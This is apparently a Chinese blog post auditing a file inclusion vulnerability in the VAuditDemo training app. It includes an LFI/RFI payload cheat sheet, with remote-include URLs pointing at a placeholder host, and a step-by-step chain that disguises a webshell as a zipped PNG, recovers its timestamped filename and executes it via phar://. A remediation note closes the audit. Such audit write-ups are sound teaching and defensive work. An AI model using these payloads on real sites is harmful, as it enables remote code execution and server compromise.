包含漏洞

include、require等相关函数,include($file)

文件包含漏洞的问题在于参数可控(路径、文件名、后缀) include($path.$filename.$ext)

包含漏洞分类:

  • 1.本地文件包含LFI
  • 2.远程文件包含RFI(allow_url_include默认为Off)

一、本地文件包含

  • 限制后缀 *.php

    • 伪协议 zip://&phar//
    • 截断大法
  • 日志&环境变量
  • session文件
  • 结合phpinfo()包含临时文件
  • 无后缀限制,包含任意文件
  • 读取任意文件,?file=php://filter/convert.base64-encode/resource=index.php

二、远程文件包含RFI

  • allow_url_include&&allow_url_fopen=Off

    • 包含共享文件,file=\\192.168.1.1\share\xxx.php
    • 利用data URIs,?file=data://text://text/plain,base64,SSBsb3ZIFBIUAo=
  • allow_url_fopen=On
    • 远程代码执行?file=[http|https|ftp]://xxx/file
    • 利用XSS执行任意代码?file=http://xxx/xss.php?xss=phpcode
    • 远程代码执行?file=[http|https|ftp]://xxx/file.txt[?|%23]

index.php

index.php中存在以下包含代码,可以包含一个.inc结尾的文件。此时我们可以考虑使用伪协议进行绕过。

<?php
/* Include */
if (isset($_GET['module'])){
include($_GET['module'].'.inc');
// phar://path/file/xx.inc
}else{
?>

phar://

Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘。此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上。

lib.php

lib.php中已经对上传文件后缀做了严格的限制,但是并未对文件内容进行检测。

function is_pic( $file_name ) {
$extend =explode( "." , $file_name );
$va=count( $extend )-1;
if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) {
return 1;
}
else
return 0;
}

搜索php处理上传文件的代码$_FILE,找到代码位置,分析上传逻辑。

<?php
include_once('../sys/config.php');
$uploaddir = '../uploads'; if (isset($_POST['submit']) && isset($_FILES['upfile'])) { if(is_pic($_FILES['upfile']['name'])){ //判断文件后缀 $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name']; //构造上传的文件名 u_时间戳_文件名 if (move_uploaded_file($_FILES['upfile']['tmp_name'], $avatar)) {
//更新用户信息
$query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";
mysql_query($query, $conn) or die('update error!');
mysql_close($conn);
//刷新缓存
$_SESSION['avatar'] = $avatar; // 将路径存储在session中,使用session进行文件读取操作,并未将文件路径输出。
header('Location: edit.php');
}
else {
echo 'upload error<br />';
echo '<a href="edit.php">返回</a>';
}
}else{
echo '只能上傳 jpg png gif!<br />';
echo '<a href="edit.php">返回</a>';
}
}
else {
not_find($_SERVER['PHP_SELF']);
}
?>

全局搜索,判断是否只是通过session读取文件,并不会输出文件路径。搜索$_SESSION['avatar']

avatar.php:

<?php
error_reporting(0);
session_start();
header("Content-type:image/jpeg");
echo file_get_contents($_SESSION['avatar']); //LFI
?>

从以上代可以看出并未对文件路径进行输出,但是使用了file_get_contents函数读取了文件的内容。也就是说,当我们通过伪协议读取一个包含了php代码的压缩文件时,其中的php代码将会被执行。

但是,如果想实现上述构想,就需要先获取到文件名中的时间戳。当我们上传图片时,响应包中将会记录上传操作的时间,我们可以将该时间转换为时间戳,该时间戳一般会和上传文件名中的时间戳相差不大。

if(is_pic($_FILES['upfile']['name'])){

        $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];

我们先准备一个一句话脚本,将其后缀改为inc,然后将inc文件打包为zip,然后再将后缀改为png。 这样我们的上传文件就制作好了。 v.php-->v.inc-->v.zip-->v.png

上传文件,同时开启F12查看响应包信息,我们想要的是响应包中的DATA字段的信息。

ache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Keep-Alive
Content-Length: 0
Content-Type: text/html
Date: Fri, 10 Apr 2020 13:14:12 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Location: edit.php
Pragma: no-cache
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/5.4.45

解密时间戳

将上传响应包中的DATA字段内容,放入下列脚本中即可转换为时间戳。

<?php
date_default_timezone_set('UTC');
echo strtotime('Fri, 10 Apr 2020 13:14:12 GMT');
?> //输出结果如下: 1586524452

我们可以查看uploads中的文件名,对比一下两个的时间戳。两个是相同的,当然在大多数情况下两个时间可能会存在少许的偏差,此时就我们可以通过遍历最后一位或最后两位,一般就可以找到正确的时间戳。

1586524452
u_1586524452_1.png

然后我们就可以使用伪协议进行文件包含了。使用phar来打开压缩包伪图片u_1586524452_1.png,然后读取其中的1.inc文件内容。

phar://uploads/u_1586524452_1.png/1.inc

访问以下链接即可解析php内容:

http://www.code.com/index.php?module=phar://uploads/u_1586524452_1.png/v

POST:
cmd=phpinfo() 尝试解析phpinfo(),可以成功解析,使用shell管理工具也可以成功连接webshell,说明我们成功包含了文件。

漏洞修复

由于已经规定了需要包含文件的后缀为.inc,因此可以从限制文件路径和文件名两个方面进行考虑。可以定义一个数组,只允许包含该数组内已存在的文件的内容。或者限制文件包含的路径,同样只允许包含部分路径的文件。

审计思路整理

  • 1.index.php通过传入module变量来包含.inc文件
  • 2.使用伪协议zip://&phar://突破
  • 3.updateAvatar.php对文件上传只进行了后缀限制,未进行上传内容检查。
  • 4.将执行上传操作的响应时间转换为时间戳,通过遍历最后几位数字来找到上传文件名中的时间戳,获取上传文件名。
  • 5.通过上传构造好的文件,使用phar伪协议打开并执行其中的.inc文件,当.inc的内容为PHP脚本时,即可解析php内容。

VAuditDemo-文件包含漏洞的审计的更多相关文章

  1. 【代码审计】VAuditDemo 文件包含漏洞

    在 index.php中先判断get过来的module是否设置了变量,如果已经设置,则包含module,并与字符串.inc拼接 inc格式一般是图标或者头像格式,因此我们可以初步判断,这个包含应该是基 ...

  2. dedecmsv5.7sp1远程文件包含漏洞审计

    dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...

  3. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

  4. phpmyadmin任意文件包含漏洞分析(含演示)

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

  5. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  6. Nagios Looking Glass 本地文件包含漏洞

    漏洞名称: Nagios Looking Glass 本地文件包含漏洞 CNNVD编号: CNNVD-201310-682 发布时间: 2013-10-31 更新时间: 2013-10-31 危害等级 ...

  7. WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞

    漏洞名称: WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞 CNNVD编号: CNNVD-201310-642 发布时间: 2013 ...

  8. 百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。

    题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打 ...

  9. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

随机推荐

  1. socket TCP 从0实现音频传输 ALSA 播放

    RTP标准是采用 UDP 发送,有不少现成的开源库,但不在本文讨论的范围内.UDP 用户数据报,不提供流程,安全传输的功能,但速度快,能提供多播,广播,没有序列号 SEQ ,有 MTU 限制,1500 ...

  2. python中那些让开发事半功倍的模块

    1. Map Map会将一个函数映射到一个输入列表的所有元素上 ex: 有一个列表: [1,2,3,4,5,6], 现在要求把列表每个元素乘以10 如果你还不知道Map,那你可能会这样做: list1 ...

  3. 【转】sublime text 2中Emmet插件8个常用的技巧

    因为开始做web项目,所以最近在用sublime编辑器,知道了一个传说中的emmet,原名是zen coding.html神插件可以说是.文章部分内容转自http://www.cnblogs.com/ ...

  4. 标题 发布状态 评论数 阅读数 操作 操作 CNN目标检测系列算法发展脉络简析——学习笔记(三):Fast R-CNN

    最近两周忙着上网课.投简历,博客没什么时间写,姑且把之前做的笔记放上来把... 下面是我之前看论文时记的笔记,之间copy上来了,内容是Fast R-CNN的,以后如果抽不出时间写博客,就放笔记上来( ...

  5. Elasticsearch 之聚合分析入门

    本文主要介绍 Elasticsearch 的聚合功能,介绍什么是 Bucket 和 Metric 聚合,以及如何实现嵌套的聚合. 首先来看下聚合(Aggregation): 什么是 Aggregati ...

  6. 【简说Python WEB】flask-mail电子邮件

    目录 flask-mail flask shell发送邮件 系统环境:Ubuntu 18.04.1 LTS Python使用的是虚拟环境:virutalenv Python的版本:Python 3.6 ...

  7. 我的Keras使用总结(2)——构建图像分类模型(针对小数据集)

    Keras基本的使用都已经清楚了,那么这篇主要学习如何使用Keras进行训练模型,训练训练,主要就是“练”,所以多做几个案例就知道怎么做了. 在本文中,我们将提供一些面向小数据集(几百张到几千张图片) ...

  8. 测试工程师需要了解的shell变量知识

    欢迎访问个人博客 什么是变量 本地变量:手动定义的,在当前系统的某个环境下才能生效,作用范围小 普通变量: 单引号:原字符输出,变量名='变量值' ➜ shell name='tom' ➜ shell ...

  9. mpy开发物联网系列:1.mpy与服务器数据库方案

    ini配置文件与非关系型数据库 在使用micropython开发esp32过程中,经常涉及到一些数据的配置读取,而esp32本身micropython难以安装很多数据库客户端的库,只能基于本地文件使用 ...

  10. 内置函数---eval、exec、compile

    eval() 将字符串类型的代码执行并返回结果 print(eval('1+2+3+4')) exec()将自字符串类型的代码执行 print(exec("1+2+3+4")) e ...